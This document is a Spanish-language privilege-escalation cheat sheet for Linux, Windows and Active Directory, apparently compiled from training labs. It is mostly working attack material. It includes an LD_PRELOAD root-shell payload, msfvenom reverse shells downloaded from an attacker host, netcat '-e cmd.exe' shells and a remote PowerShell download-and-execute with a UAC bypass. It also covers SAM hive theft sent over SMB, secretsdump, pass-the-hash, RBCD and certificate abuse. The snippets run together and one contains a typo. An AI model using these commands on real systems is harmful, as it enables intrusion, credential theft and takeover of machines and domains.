PRIMARY TOKEN IMPERSONATION via SeImpersonate / SeAssignPrimaryToken
Para explotar este vector WinRM no debe estar en ejecución.
Vectores de escalada de privilegios en sistemas comprometidos
hostname # nombre de host
uname -a # detalles del kernel
ps aux # procesos en ejecución
env # variables de entorno
sudo -l # comandos bajo root
id # lista privilegios y grupos
history # historial de comandos
ifconfig # info sobre interfaces de red
netstat # info sobre conexiones existentesfind / -type f -perm -400 2>/dev/null # archivos SUID
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # writablescat /proc/version # versión del kernel y compiladores
cat /etc/issue # info sobre SO
cat /etc/passwd | cut -d ":" -f 1 # usuarios del sistema
cat /etc/shadow # hashes de usuarios
cat /etc/crontab # tareas programadas
cat /etc/shells # info sobre shell
ls -l home/<user>/.ssh # user ssh keys
ls /var/www/html/ # extra + info, databases, pass reuseLa configuración de todos los servicios se almacena en un registro en:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service>
Última actualización
sudo -l
# env_reset, env_keep+=LD_PRELOAD
# (root) NOPASSWD: /some/binary/path#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}gcc -fPIC -shared uwu.c -o uwu.so -nostartfilessudo LD_PRELOAD=/path/to/object.so <binary>find / -type f -perm -4000 -ls 2>/dev/null
# rwsr-xr-xgetcap -r / 2>/dev/nullcat /etc/crontab/bin/bash # ejecutar una bash
chmod u+s /bin/bash # dar permisos SUID a la bashfind / -writable 2>/dev/null
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -uexport PATH=/tmp:$PATHcat /etc/exportsshowmount -e <IP>mkdir /tmp/uwu
mount -o rw <ip>:/<share-vulnerable> /tmp/uwuint main()
{setgif(0);
setuid(0);
system("/bin/bash");
return 0;
}gcc uwu.c -o uwu -w
chmod u+s uwu./uwucd /var/log ; grep -Ri <password/username/db_password>ver # OS version
systeminfo # OS info
ipconfig # network info
tasklist # procesos
whoami /all #full
whoami /priv # check privilegios usuario actual
whoami /groups # grupos
icacls <C:\path\to\binary> # check permisos de binario o directorio
Get-Acl -Path "<C:\path\to\binary>" # check en Powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt # powershell historyschtasks # check tareas/query /tn <task-name> /fo list /v # Info exsobre tarea específicatype %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttype $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtcmdkey /listrunas /savecred /<username> cmd.exetype <C:\path\to\web.config> | findstr connectionStringreg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /sschtasks
schtasks /query /tn <task-name> /fo list /vicacls <C:\path\to\binary>
# BUILTIN\Users:(I)(F) -> F = Full accessecho c:\tools\nc64.exe -e cmd.exe <ip-a> <port> > <C:\path\to\binary>nc -lvnp <port>reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installermsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f msi -o malicious.msi
nc -lvnp <port>msiexec /quiet /qn /i C:\Windows\Temp\malicious.msisc query state= all # Listar serviciossc qc <service-name>icacls <c:\path\to\executable>
# Everyone:(I)(M) -> M = Modifymsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f exe-service -o rev-svc.exe
python -m http.server
nc -lvnp <port>wget http://<ip-a>:8000/rev-svc.exe -O rev-svc.exemove <real-executable.exe> <real-executable.exe.bkp>
move <c:\path\to\fake-executable> <real-executable.exe>
icacls <real-executable.exe> /grant Everyone:Ficacls c:\<directory>
# BUILTIN\Users:(I)(CI)(WD) -> WD = Write Datamsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f exe-service -o rev-svc.exe
python -m http.server
nc -lvnp <port>wget http://<ip-a>:8000/rev-svc.exe -O rev-svc.exemove C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:Faccesschkk64.exe -qlc <service>
# [4] ACCESS_ALLOWED_ACE_TYPE: BUILTIN\Users
# SERVICE_ALL_ACCESSmsfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip-a> LPORT=<port> -f exe-service -o rev-svc.exe
python -m http.serverwget http://<ip-a>:8000/rev-svc.exe -O rev-svc.exeicacls C:\Users\thm-unpriv\rev-svc.exe /grant Everyone:Fsc config <service> binPath= "C:\Users\thm-unpriv\rev-svc.exe" obj= LocalSystemwhoami /priv
# SeBackupPrivilege Back up files and directories Disabled
# SeRestorePrivilege Restore files and directories Disabledreg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive# máquina local
mkdir temp
python3 /opt/impacket/examples/smbserver.py -smb2support -username <username> -password <user-pass> temp sharecopy C:\Users\THMBackup\sam.hive \\<ip-a>\temp\
copy C:\Users\THMBackup\system.hive \\<ip-a>\temp\python3 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCALpython3 /opt/impacket/examples/psexec.py -hashes <hash> administrator@<ip>whoami /priv
# SeTakeOwnershipPrivilege Take ownership of files or other objects Disabledtakeown /f <C:\path\to\binary.exe>icacls <C:\path\to\binary.exe> /grant <username>:Fcopy cmd.exe <C:\path\to\binary.exe>whoami /priv
# SeImpersonatePrivilege Impersonate a client after authentication Enabledwinrm enumerate winrm/config/listenernc -lvnp <port>c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe <ip-a> <port>"net rpc password "username-victima" "nueva-pass" -U "<domain>"/"user"%"password" -S "<ip>"impacket-getST -spn "cifs/<computer>.<domain>" -impersonate "Administrator" -dc-ip <ip> "<domain>/<user>:<pass>"export KRB5CCNAME=<tgt-file.ccache>impacket-wmiexec -k -no-pass administrator@<computer>.<domain>impacket-addcomputer -computer-name 'UWU$' -computer-pass 'uwu123' -dc-host <computer>.<domain> -domain-netbios <domain> -dc-ip <ip> '<domain>/<user>:<pass>'impacket-rbcd -delegate-from 'UWU$' -delegate-to '<target-pc>$' -dc-ip <ip> -action 'write' '<domain>/<PC>:<pass>'impacket-getST -spn 'cifs/<pc>.<domain>' -impersonate 'Administrator' -dc-ip <ip> '<domain>/<PC>:<pass>'impacket-secretsdump '<domain>/Administrator@<pc>.<domain>' -k -no-pass -dc-ip <ip> -target-ip <ip> -just-dc-ntlmevil-winrm -i <ip> -u Administrator -H '<hash>'powershell
wget http://<ip-a>:<port>/runasCs.exe -o runas.exerunas.exe hugo SurpriseMF123! "powershell -c IEX (New-Object System.Net.WebClient).DownloadString('http://<ip-a>:<port>/uwu.ps1')" --bypass-uaccertipy-ad find -u <user> -p <pass> -dc-ip <ip>certipy-ad req -u '<user>' -p '<pass>' -ca '<CA>' -template '<template>' -upn '<user-victim>@<domain>' -target '<computer>.<domain>' -dns '<ip>'certipy-ad auth -ldap-shell -pfx <certificate.pfx> -dc-ip <ip>change_password <user-victim> <new-pass>impacket-smbexec '<domain>/<user>:<new-pass>@<ip>'wmic product get name,version,vendorwinpeas.exe > output.txtSet-ExecutionPolicy Bypass -Scope process -Force
. .\PrivescCheck.ps1
Invoke-PrivescChecksysteminfo > systeminfo.txt # systeminfo de máquina víctima
-----------------
wes.py --update
wes.py systeminfo.txtmetasploit module: multi/recon/local_exploit_suggester